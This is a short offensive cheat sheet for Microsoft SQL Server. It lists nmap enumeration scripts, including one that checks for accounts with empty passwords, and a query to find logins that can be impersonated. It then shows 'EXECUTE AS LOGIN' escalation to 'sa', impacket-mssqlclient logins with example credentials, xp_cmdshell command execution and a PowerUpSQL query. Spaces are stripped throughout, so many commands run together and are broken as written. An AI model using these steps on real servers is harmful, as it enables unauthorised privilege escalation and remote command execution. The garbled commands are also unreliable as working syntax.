nmap--scriptms-sql-info-p143310.10.10.1nmap-p1433--scriptms-sql-ntlm-info--script-argsmssql.instance-port=143310.10.10.1# enumerate user with empty passwordnmap-p1433--scriptms-sql-empty-password10.10.10.1
# Find users you can impersonateSELECTdistinctb.nameFROMsys.server_permissionsaINNERJOINsys.server_principalsbONa.grantor_principal_id=b.principal_idWHEREa.permission_name='IMPERSONATE'# Check if the user "sa" or any other high privileged user is mentioned# Impersonate sa userEXECUTEASLOGIN='sa'SELECTSYSTEM_USERSELECTIS_SRVROLEMEMBER('sysadmin')
Impacket-MSSQLClient
impacket-mssqlclientadmin:p@ssw0rd@10.10.10.1# check if we have 'sa' privilegeselect IS_SRVROLEMEMBER ('sysadmin')# execute command using xp_cmdshellxp_cmdshell"whoami /priv"
Get-SQLQuery -Instance 'WEB06\SQLEXPRESS' -query "SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';"